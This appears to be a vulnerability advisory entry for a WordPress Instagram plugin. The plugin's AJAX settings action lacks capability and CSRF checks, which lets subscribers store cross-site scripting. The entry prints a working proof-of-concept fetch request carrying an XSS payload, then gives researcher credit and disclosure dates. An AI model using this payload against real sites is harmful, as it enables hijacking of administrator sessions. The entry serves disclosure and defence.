The plugin does not have capability and CSRF checks in the meks_save_business_selected_account AJAX action, available to any authenticated user, and does not escape some of the settings. As a result, any authenticated user, such as subscriber could update the plugin's settings and put Cross-Site Scripting payloads in them
As a subscriber: fetch("https://example.com/wp-admin/admin-ajax.php", { "headers": { "content-type": "application/x-www-form-urlencoded", }, "body": new URLSearchParams({"action":"meks_save_business_selected_account","access_token": '" style=animation-name:rotation onanimationstart=alert(/XSS/) xyz='}), "method": "POST", "credentials": "include" }) .then(response => response.text()) .then(data => console.log(data)); Then the XSS will be triggered when an admin access the plugin’s settings (https://example.com/wp-admin/options-general.php?page=meks-instagram)
Krzysztof Zając
Krzysztof Zając
Yes
2021-11-10 (about 1 years ago)
2022-02-15 (about 11 months ago)
2022-04-08 (about 9 months ago)